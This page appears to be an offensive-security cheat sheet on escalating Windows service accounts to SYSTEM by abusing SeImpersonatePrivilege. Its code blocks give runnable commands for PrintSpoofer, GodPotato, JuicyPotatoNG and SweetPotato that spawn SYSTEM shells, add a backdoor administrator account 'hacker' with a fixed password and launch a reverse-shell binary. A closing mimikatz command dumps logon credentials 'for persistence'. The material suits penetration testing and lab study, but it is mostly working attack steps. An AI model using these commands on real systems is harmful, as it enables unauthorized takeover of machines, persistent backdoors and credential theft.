# Token Impersonation – SeImpersonatePrivilege Exploitation

> Exploits SeImpersonatePrivilege to impersonate high-privilege tokens via named pipes or API abuse, escalating from service accounts to SYSTEM on Windows.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/token-impersonation-seimpersonateprivilege-exploitation
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-07-10

`SeImpersonatePrivilege` allows a process to impersonate another user's security token. Service accounts (IIS, MSSQL, network service) have this privilege by default. By tricking a SYSTEM process into authenticating to a controlled endpoint, you capture a SYSTEM token and impersonate it: escalating from a service account to SYSTEM. This is the most common Windows privilege escalation path in modern labs.

## Prerequisites Check

Check current token privileges:

```bash
whoami /priv
```

You need one of:

- `SeImpersonatePrivilege`: Enabled
- `SeAssignPrimaryTokenPrivilege`: Enabled

These are present by default on service accounts: `IIS APPPOOL\*`, `NT AUTHORITY\NETWORK SERVICE`, `NT AUTHORITY\LOCAL SERVICE`.

If neither is present, this technique does not apply. Check [https://hackindex.io/platforms/windows/privilege-escalation/sebackupprivilege-abuse](https://hackindex.io/platforms/windows/privilege-escalation/sebackupprivilege-abuse) for other privilege-based paths.

## PrintSpoofer: Modern Windows (2016/2019/2022/10/11)

PrintSpoofer abuses the Windows Print Spooler service to coerce SYSTEM authentication via a named pipe. Most reliable on Windows 10, Server 2016, 2019, and 2022.

```bash
# Interactive SYSTEM shell
.\PrintSpoofer.exe -i -c cmd

# Execute specific command
.\PrintSpoofer.exe -c "net user hacker Password123! /add"
.\PrintSpoofer.exe -c "net localgroup administrators hacker /add"

# Reverse shell: start listener first
.\PrintSpoofer.exe -c "C:\Windows\Temp\shell.exe"
```

Download: [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)

## GodPotato: Windows 2012-2022

GodPotato exploits DCOM to coerce SYSTEM authentication via a custom COM server. Works on a wider range of Windows versions than PrintSpoofer.

```bash
# Execute command as SYSTEM
.\GodPotato.exe -cmd "cmd /c whoami"

# Add admin user
.\GodPotato.exe -cmd "cmd /c net user hacker Password123! /add && net localgroup administrators hacker /add"

# Reverse shell
.\GodPotato.exe -cmd "C:\Windows\Temp\shell.exe"
```

Download: [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)

## JuicyPotatoNG: Windows 10/11 and Server 2022

Updated Juicy Potato variant supporting modern Windows versions. Uses BITS service by default but can target other COM servers.

```bash
# Get SYSTEM shell
.\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe"

# Execute command
.\JuicyPotatoNG.exe -t * -p "cmd.exe" -a "/c net user hacker Password123! /add"

# Specify a different COM CLSID if default fails
.\JuicyPotatoNG.exe -t * -p "cmd.exe" -l 10247 -c "{CLSID}"
```

Download: [https://github.com/antonioCoco/JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG)

## Choosing the Right Tool

| Tool | Best For | Notes |
| --- | --- | --- |
| PrintSpoofer | Win10, Server 2016/2019/2022 | Requires Print Spooler running |
| GodPotato | Win2012-2022, wide compatibility | Most reliable for modern targets |
| JuicyPotatoNG | Win10/11, Server 2022 | Falls back if BITS unavailable |
| SweetPotato | All modern Windows | Combines multiple techniques |

Try GodPotato first: widest compatibility. Fall back to PrintSpoofer if GodPotato fails.

## Check if Print Spooler is Running (PrintSpoofer)

```bash
sc query Spooler
# Must show RUNNING for PrintSpoofer to work
```

## SweetPotato: Combined Approach

SweetPotato combines EfsRpc, PrintSpoofer, and DCOM coercion methods and tries each automatically:

```bash
.\SweetPotato.exe -a "whoami"
.\SweetPotato.exe -a "net user hacker Password123! /add"
.\SweetPotato.exe -e EfsRpc -a "cmd /c whoami"
```

Download: [https://github.com/CCob/SweetPotato](https://github.com/CCob/SweetPotato)

## Manual Token Impersonation via PowerShell (No External Binary)

If you cannot upload binaries, use PowerShell token impersonation via .NET:

```powershell
# Requires SeImpersonatePrivilege
$ErrorActionPreference = "SilentlyContinue"

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class TokenImpersonation {
    [DllImport("advapi32.dll")] public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
    [DllImport("advapi32.dll")] public static extern bool RevertToSelf();
}
"@
```

In practice, use one of the binary tools above: they handle the complex token manipulation reliably.

## After Getting SYSTEM

Verify:

```bash
whoami
# nt authority\system
```

Dump credentials for persistence:

```bash
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

See [https://hackindex.io/platforms/windows/privilege-escalation/windows-password-attacks](https://hackindex.io/platforms/windows/privilege-escalation/windows-password-attacks) for credential dumping workflow.

## References

- [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) - itm4n Named pipe impersonation via Print Spooler coercion.
- [GodPotato](https://github.com/BeichenDream/GodPotato) - BeichenDream DCOM-based SYSTEM token impersonation for modern Windows.
- [JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG) - antonioCoco Updated potato attack for Windows 10/11 and Server 2022.